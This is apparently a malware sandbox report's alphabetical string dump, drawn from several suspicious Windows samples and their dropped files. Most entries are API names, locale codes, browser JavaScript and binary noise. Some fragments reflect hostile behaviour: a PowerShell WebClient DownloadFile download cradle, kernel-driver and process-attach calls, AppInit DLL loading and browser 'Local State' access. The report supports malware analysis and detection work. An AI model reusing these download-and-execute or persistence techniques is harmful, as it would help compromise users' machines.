Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
InitFolderHandler
Unicode based on Runtime Data (rundll32.exe )
initialize heap
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
InitializeCriticalSectionAndSpinCount
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
InitializeCriticalSectionEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
initialized
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
initialSettings['printAutomaticallyInKioskMode'] || false, initialSettings['appKioskMode'] || false, numberFormatSymbols[0] || ',', numberFormatSymbols[1] || '.', unitType, initialSettings['previewMod
Ansi based on Runtime Data (CPK.exe )
innerHeight >= 0 ? innerHeight : 0) + 'px)'; parameters.distance = Math.abs(innerHeight); break; } if (this.loopCount_ % 2) { var transform = parameters.transformBegin; pa
Ansi based on Runtime Data (CPK.exe )
InprocServer32
Unicode based on Runtime Data (rundll32.exe )
install
Unicode based on Dropped File (MIO.dll.1862922135)
install.
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
Installs
Ansi based on Dropped File (MIO.dll.1862922135)
insufficient memory
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Insufficient system resources
Ansi based on Dropped File (hhhhh.exe.655875088)
integer out of signed integer range
Ansi based on Dropped File (kokoko.dll.2691425955)
InterlockedDecrement
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
InterlockedExchange
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
InterlockedIncrement
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
InternalName
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
INTERRUPT
Unicode based on Dropped File (ttttt.exe.179545488)
interrupted
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IntranetName
Unicode based on Runtime Data (rundll32.exe )
invalid argument
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid bit length repeat
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid block type
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Invalid DateTime
Unicode based on Dropped File (psi.dll.1283195511)
invalid distance code
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid literal/length code
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Invalid option given: %s
Unicode based on Dropped File (ttttt.exe.179545488)
invalid seek
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid stored block lengths
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid string position
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid window size
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
invalid_argument
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
io error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
io.4','%TEMP%\csw263B.tmp')
Unicode based on Runtime Data (powershell.exe )
io.install.finish','%TEMP%\csp4104.tmp')
Unicode based on Runtime Data (powershell.exe )
IO_FAILURE
Unicode based on Dropped File (ttttt.exe.179545488)
IoCreateDevice
Ansi based on Dropped File (hhhhh.exe.655875088)
IoCreateSymbolicLink
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeleteDevice
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeleteSymbolicLink
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeviceObjectType
Ansi based on Dropped File (hhhhh.exe.655875088)
IofCompleteRequest
Ansi based on Dropped File (hhhhh.exe.655875088)
IoFileObjectType
Ansi based on Dropped File (hhhhh.exe.655875088)
IoInit
Unicode based on Runtime Data (rundll32.exe )
IoIsWdmVersionAvailable
Ansi based on Dropped File (hhhhh.exe.655875088)
ion (host) {this.dataHost = host = host || Polymer.Base._hostStack[Polymer.Base._hostStack.length - 1];if (host && host._clients) {host._clients.push(this);}this._clients = null;this._clientsReadied = false;},_beginHosting: function () {Polymer.Base._
Ansi based on Runtime Data (CPK.exe )
ion.LDPI.STAR.x; if (IS_HIDPI) { moonSourceWidth *= 2; moonSourceHeight *= 2; moonSourceX = this.spritePos.x + (NightMode.phases[this.currentPhase] * 2); starSize *= 2; starSourceX = Runner.spriteDefinition.HDPI.STA
Ansi based on Runtime Data (CPK.exe )
Ion^\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ios_base::badbit set
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ios_base::eofbit set
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ios_base::failbit set
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IoStartTimer
Unicode based on Dropped File (ttttt.exe.179545488)
iostream
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
iostream stream error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IoTimers
Unicode based on Dropped File (ttttt.exe.179545488)
IoValidateDeviceIoControlAccess
Unicode based on Dropped File (hhhhh.exe.655875088)
iP</w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ip^ h<X+DZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Iphlpapi.dll
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
irish-english
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
is a directory
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
is-is
Unicode based on Dropped File (hhhhh.exe.655875088)
is-IS
Unicode based on Dropped File (hhhhh.exe.655875088)
is._delegate.setWorked(worked,title);}worked(worked){if(this._delegate)this._delegate.worked(worked);}};;Common.ResourceType=class{constructor(name,title,category,isTextType){this._name=name;this._title=title;this._category=category;this._isTextType=isText
Ansi based on Runtime Data (CPK.exe )
is._setSecondaryRatio(secondaryRatio);this._transformProgress(this.$.secondaryProgress,secondaryRatio);this._transformProgress(this.$.primaryProgress,mainRatio);this.secondaryProgress=secondaryProgress;this.setAttribute("aria-valuenow",value);this.setAttribute
Ansi based on Runtime Data (CPK.exe )
is.categories_.concat(split);}},set settings_key(k){this.settings_key_=k;},set settings(s){throw new Error('Dont use this!');},usingPreset_:function(){return this.currentlyChosenPreset_.length>0;},get currentlyChosenPreset(){return this.currentlyChosenPreset_;
Ansi based on Runtime Data (CPK.exe )
IsDebuggerPresent
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ish-american
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ish-jamaica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ish-panama
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ish-peru
Unicode based on Dropped File (hhhhh.exe.655875088)
ish-puerto rico
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IsImmersiveProcess
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
ISK_IO+HARD_FAULTS+DPC+INTERRUPT+WDF_INTERRUPT+WDF_DPC+CSWITCH
Unicode based on Dropped File (ttttt.exe.179545488)
ISM^ah+dI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IsProcessorFeaturePresent
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ISR analysis
Unicode based on Dropped File (ttttt.exe.179545488)
IsShortcut
Unicode based on Runtime Data (rundll32.exe )
ister
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
IsTextPlainHonored
Unicode based on Runtime Data (QQBrowser.exe )
IsValidCodePage
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IsValidLocale
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IsValidLocaleName
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
isVirtualDestination_: function(destination) { if (destination.origin == print_preview.Destination.Origin.LOCAL) { return arrayContains( [print_preview.Destination.GooglePromotedId.SAVE_AS_PDF], destination.id);
Ansi based on Runtime Data (CPK.exe )
iswctype
Ansi based on Dropped File (ttttt.exe.179545488)
IsWow64Process
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
it-CH
Unicode based on Dropped File (UAC.dll.626400535)
it-IT
Unicode based on Dropped File (UAC.dll.626400535)
it-it
Unicode based on Dropped File (hhhhh.exe.655875088)
italian-swiss
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ite the port. this.portMap_[tab.id] = port; port.onDisconnect.addListener(function() { this.handleClientDisconnect_(port); }.bind(this)); port.onMessage.addListener(function(msg) { this.handleMessage_(msg, port.sender, p
Ansi based on Runtime Data (CPK.exe )
ition":"!v8only"},{"name":"sources"},{"name":"components_lazy"},{"name":"diff"},{"type":"autostart","name":"bindings"},{"name":"audits","condition":"!v8only"},{"name":"snippets"},{"name":"layers","condition":"!v8only"},{"name":"console"},{"name":"network","con
Ansi based on Runtime Data (CPK.exe )
itle":"Use horizontal panel layout"},{"text":"vertical","value":"right","title":"Use vertical panel layout"},{"text":"auto","value":"auto","title":"Use automatic panel layout"}]},{"category":"Appearance","title-mac":"Enable \u2318 + 1-9 shortcut to switch pane
Ansi based on Runtime Data (CPK.exe )
itle,title);this._filterSelect.createOption(title);}}_updateControls(){this._updateBaseOptions();this._updateFilterOptions();}_onReceiveSnapshot(event){this._updateControls();}_onProfileHeaderRemoved(event){var profile=event.data;if(this._profile===profi
Ansi based on Runtime Data (CPK.exe )
itSynchronization
Unicode based on Dropped File (hhhhh.exe.655875088)
ityObject
Ansi based on Runtime Data (rundll32.exe )
iverPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
ivers
Unicode based on Dropped File (ttttt.exe.179545488)
iW-~GB0lT
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Iwm?l
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
IwnV3zZ
Unicode based on Runtime Data (QQBrowser.exe )
ize: not set
Unicode based on Dropped File (ttttt.exe.179545488)
i}sMuy2)q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
i~O`!TSh
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J'uFBsM310
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J(\IL]y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J,78+fsgf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
j-ke[\-pW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
j0\'eb"kB
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J:W"(~_<fQf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
J???-[??H
Ansi based on Runtime Data (CPK.exe )
j????[???`???s\?X?s???
Ansi based on Runtime Data (rundll32.exe )
J?h?(?iJ?????9h????m?X???e?LJ??mY????8??0
Ansi based on Runtime Data (rundll32.exe )
J@B<Ap{>V
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
j]Rui
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ja-JP
Unicode based on Dropped File (psi.dll.1283195511)
JanFebMarAprMayJunJulAugSepOctNovDec
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
January
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jA{pg'ShU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Jb@<ax>pl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jc~U7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jjjjj
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jP?????f"e?E
Ansi based on Runtime Data (rundll32.exe )
jS\!/&G9de
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
JtE^a@Vh>+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
JWgTW/T3lg`P2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jX$!ySZ+d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jXE0qU\4#
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jy-lAR@}D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
jY.|<I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
JyL0vqn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k j{g]#0k9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k"q5)U[h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K&GUkg
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k+FL-;UBl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K,cE|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K.'L/3<$m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K.(Dzo9B& sR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K1/^2hh~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k:eC@nq_l&6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k=this._callbacks.get(data.callId);this._callbacks.delete(data.callId);callback(data.result);}_postMessage(message){this._worker.postMessage(message);}};Profiler.HeapSnapshotProxyObject=class{constructor(worker,objectId){this._worker=worker;this._objectId=ob
Ansi based on Runtime Data (CPK.exe )
K?6?!a25&?
Ansi based on Runtime Data (rundll32.exe )
K?7???
Ansi based on Runtime Data (rundll32.exe )
K???B???mG?pV????,~?j<
Ansi based on Runtime Data (rundll32.exe )
K??a????LS<?_wy?
Ansi based on Runtime Data (rundll32.exe )
k[k YPI*O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
k]EN;}>:1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K`SyH~}5.k
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ka-ge
Unicode based on Dropped File (hhhhh.exe.655875088)
KAQ#@V>CW1F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KBff*Fr)&H)c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kc?$??s???
Ansi based on Runtime Data (rundll32.exe )
kCf@+9F|54
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kCI-I4^x
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kd%cB1o~#g
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Kd-Filter
Unicode based on Dropped File (ttttt.exe.179545488)
KE8-6>w$)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KeBugCheckEx
Ansi based on Dropped File (hhhhh.exe.655875088)
KeepAliveTimeout
Unicode based on Runtime Data (QQBrowser.exe )
Kernel Debugging has been enabled: Buffer size has been set to 3kBytes
Unicode based on Dropped File (ttttt.exe.179545488)
kernel32
Unicode based on Dropped File (MIO.dll.1862922135)
kernel32.dll
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Kernel32.dll
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
KERNEL32.dll
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Kernel32.DLL
Unicode based on Dropped File (MIO.dll.1862922135)
KERNEL_QUEUE
Unicode based on Dropped File (ttttt.exe.179545488)
KernelFlags
Unicode based on Dropped File (ttttt.exe.179545488)
KeStackAttachProcess
Ansi based on Dropped File (hhhhh.exe.655875088)
KeTickCount
Ansi based on Dropped File (hhhhh.exe.655875088)
KeUnstackDetachProcess
Ansi based on Dropped File (hhhhh.exe.655875088)
KeWaitForSingleObject
Ansi based on Dropped File (hhhhh.exe.655875088)
key_check
Ansi based on Runtime Data (rundll32.exe )
Keyword Keyword
Unicode based on Dropped File (ttttt.exe.179545488)
KfLowerIrql
Ansi based on Dropped File (hhhhh.exe.655875088)
KfRaiseIrql
Ansi based on Dropped File (hhhhh.exe.655875088)
kInterrupt
Unicode based on Dropped File (ttttt.exe.179545488)
kit-transform: translateZ(0);\n padding-left: 2px;\n}\n\n.elements-disclosure ol:focus li.selected {\n color: white;\n}\n\n.elements-disclosure ol:focus li.parent.selected::before {\n background-color: white;\n}\n\n.elements-disclosure ol:focus li.sel
Ansi based on Runtime Data (CPK.exe )
Kitty
Unicode based on Dropped File (kokoko.dll.2691425955)
Kitty.dll
Unicode based on Dropped File (kokoko.dll.2691425955)
kitty.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
kj?O!?2`?%9$?7?F??2?n%?????
Ansi based on Runtime Data (rundll32.exe )
KkM2;C-h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Kn+r?
Ansi based on Runtime Data (rundll32.exe )
kn-in
Unicode based on Dropped File (hhhhh.exe.655875088)
known
Unicode based on Dropped File (MIO.dll.1862922135)
ko-KR
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
kok-IN
Unicode based on Dropped File (UAC.dll.626400535)
korea
Unicode based on Dropped File (hhhhh.exe.655875088)
kOxhU`;Xs'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kr%xHkRpF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KS3az~{*P@]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KV)^EhOOcu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KvZuhs=n:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kw3;Y=JYG
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kwqJ -COS\OI[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KWr|Vp#2t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
KX_G(*O{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kxA;}Qq)aF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ky-kg
Unicode based on Dropped File (hhhhh.exe.655875088)
ky-KG
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
kYTr@d2F&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ky~;}fl*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
K~5x2A?m#$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
l#,O4wZqZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L'H]}|L<8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l(n[ 4SF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l.A[6)eDu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l/Bdv>Rc,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L1[zKwUjj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L4d4l4t4|4?4?4?4?4?4?4?4?4
Ansi based on Runtime Data (rundll32.exe )
l7-0n+&&C
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l:?,^4S??#?~
Ansi based on Runtime Data (rundll32.exe )
L;\_{txmR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L???Y????V?K
Ansi based on Runtime Data (rundll32.exe )
L??t9?
Ansi based on Runtime Data (rundll32.exe )
L?@?~PIw?-??>ks$??^f
Ansi based on Runtime Data (rundll32.exe )
L@KV@QDAXSDR
Unicode based on Dropped File (MIO.dll.1862922135)
l\[ta'n=I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
l]Y???
Ansi based on Runtime Data (rundll32.exe )
L^_HZer4~ga
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
L_FAULTS
Unicode based on Dropped File (ttttt.exe.179545488)
lAccess
Unicode based on Dropped File (hhhhh.exe.655875088)
LargestInt out of Int range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LargestInt out of UInt range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LargestInt out of UInt64 range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LargestUInt out of Int range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LargestUInt out of Int64 range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LargestUInt out of UInt range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
layClass
Unicode based on Dropped File (hhhhh.exe.655875088)
Lc???f.?????
Ansi based on Runtime Data (rundll32.exe )
LC^^'A[Hi
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LC_ALL
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LC_COLLATE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LC_MONETARY
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LC_NUMERIC
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LC_TIME
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LCMapStringEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LCMapStringW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ld[I[C@Z%b
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LdapClientIntegrity
Unicode based on Runtime Data (rundll32.exe )
ldexp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
lDLSBVQ:.5+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
le %X in %s (PID %d)? (y/n)
Unicode based on Dropped File (hhhhh.exe.655875088)
le CopyTo...
Unicode based on Runtime Data (rundll32.exe )
le requires Windows XP or higher.
Ansi based on Dropped File (hhhhh.exe.655875088)
LE_IO_INIT
Unicode based on Dropped File (ttttt.exe.179545488)
learLog.install.finish','%TEMP%\csp8203.tmp')
Unicode based on Runtime Data (powershell.exe )
LeashLegacyCookies
Unicode based on Runtime Data (QQBrowser.exe )
LeaveCriticalSection
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
lectNextOccurrenceController=new TextEditor.CodeMirrorTextEditor.SelectNextOccurrenceController(this,this._codeMirror);this._codeMirror.on('changes',this._changes.bind(this));this._codeMirror.on('beforeSelectionChange',this._beforeSelectionChange.bind(this));t
Ansi based on Runtime Data (CPK.exe )
Legacy
Unicode based on Dropped File (ttttt.exe.179545488)
LegalCopyright
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
leIE8Core
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LENAME
Unicode based on Dropped File (ttttt.exe.179545488)
Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
leVersion
Unicode based on Dropped File (MIO.dll.1862922135)
lExit
Unicode based on Dropped File (ttttt.exe.179545488)
LF7QISoc_r
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
lg)=><sf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
lgian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LibraryPath
Unicode based on Runtime Data (QQBrowser.exe )
License Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
licitAppUserModelID
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
lid Flags: 0x%0X(%d).
Unicode based on Dropped File (ttttt.exe.179545488)
lient
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
lient = new-object System.Net.WebClient; $client.DownloadFile('
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Line %d, Column %d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
List all trace sessions
Unicode based on Dropped File (ttttt.exe.179545488)
list.style['position'] = 'absolute'; list.style['opacity'] = '0'; this.hideSinkListForAnimation_ = false; finalHeight += list.offsetHeight; list.style['position'] = 'relative'; } else { resultsInitialTop += deviceMis
Ansi based on Runtime Data (CPK.exe )
Lists the providers enabled to each session returned by a query
Unicode based on Dropped File (ttttt.exe.179545488)
ll.finish
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LL???r<??
Ansi based on Runtime Data (rundll32.exe )
LL_PROCEEDING
Unicode based on Runtime Data (rundll32.exe )
LLATE
Unicode based on Dropped File (hhhhh.exe.655875088)
llocate buffer for EnumerateTraceGuidsEx %d
Unicode based on Dropped File (ttttt.exe.179545488)
llocation
Unicode based on Dropped File (ttttt.exe.179545488)
LOAD_BALANCER
Unicode based on Dropped File (ttttt.exe.179545488)
LoadAppInit_DLLs
Unicode based on Runtime Data (rundll32.exe )
LoadCursorW
Ansi based on Dropped File (hhhhh.exe.655875088)
LOADER
Unicode based on Dropped File (ttttt.exe.179545488)
LoadLibraryExA
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
LoadLibraryExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LoadLibraryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
loadPromise(){if(!this.enabled())return Promise.reject(new Error('Module '+this._name+' is not enabled'));if(this._pendingLoadPromise)return this._pendingLoadPromise;var dependencies=this._descriptor.dependencies;var dependencyPromises=[];for(var i=0;depen
Ansi based on Runtime Data (CPK.exe )
LoadResource
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LoadWithoutCOM
Unicode based on Runtime Data (rundll32.exe )
Local
Unicode based on Runtime Data (QQBrowser.exe )
Local AppData
Unicode based on Runtime Data (QQBrowser.exe )
Local Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
Local State
Unicode based on Dropped File (kokoko.dll.2691425955)
LocalAlloc
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LocalFileTimeToFileTime
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LocalFree
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
LocalizedName
Unicode based on Runtime Data (rundll32.exe )
LocalRedirectOnly
Unicode based on Runtime Data (rundll32.exe )
LockResource
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
log [actions] [options] | [-h | -help | -?]
Unicode based on Dropped File (ttttt.exe.179545488)
Log Buffers Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Log Filename: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Log Filename: default location
Unicode based on Dropped File (ttttt.exe.179545488)
Log Mode:
Unicode based on Dropped File (ttttt.exe.179545488)
Log to a new file after every n Mbytes. File name needs to contain %%d
Unicode based on Dropped File (ttttt.exe.179545488)
log10
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
LogFileMode
Unicode based on Dropped File (ttttt.exe.179545488)
Logger
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Id: 0x%I64x
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Name: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Started...
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Thread Id: %p
Unicode based on Dropped File (ttttt.exe.179545488)
Logger\
Unicode based on Dropped File (ttttt.exe.179545488)
LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
LookupAccountSidW
Ansi based on Dropped File (hhhhh.exe.655875088)
LookupPrivilegeValueW
Ansi based on Dropped File (ttttt.exe.179545488)
Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
lower
Unicode based on Dropped File (kokoko.dll.2691425955)
lowio initialization
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
LqEc_rp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
lse);}_update(){SDK.Cookies.getCookiesAsync(this._updateWithCookies.bind(this));}_updateWithCookies(allCookies){this._cookies=this._filterCookiesForDomain(allCookies);if(!this._cookies.length){this._emptyWidget.show(this.element);this._clearButton.setVisib
Ansi based on Runtime Data (CPK.exe )
lSet\Control\Class
Unicode based on Dropped File (hhhhh.exe.655875088)
lstrcmpiW
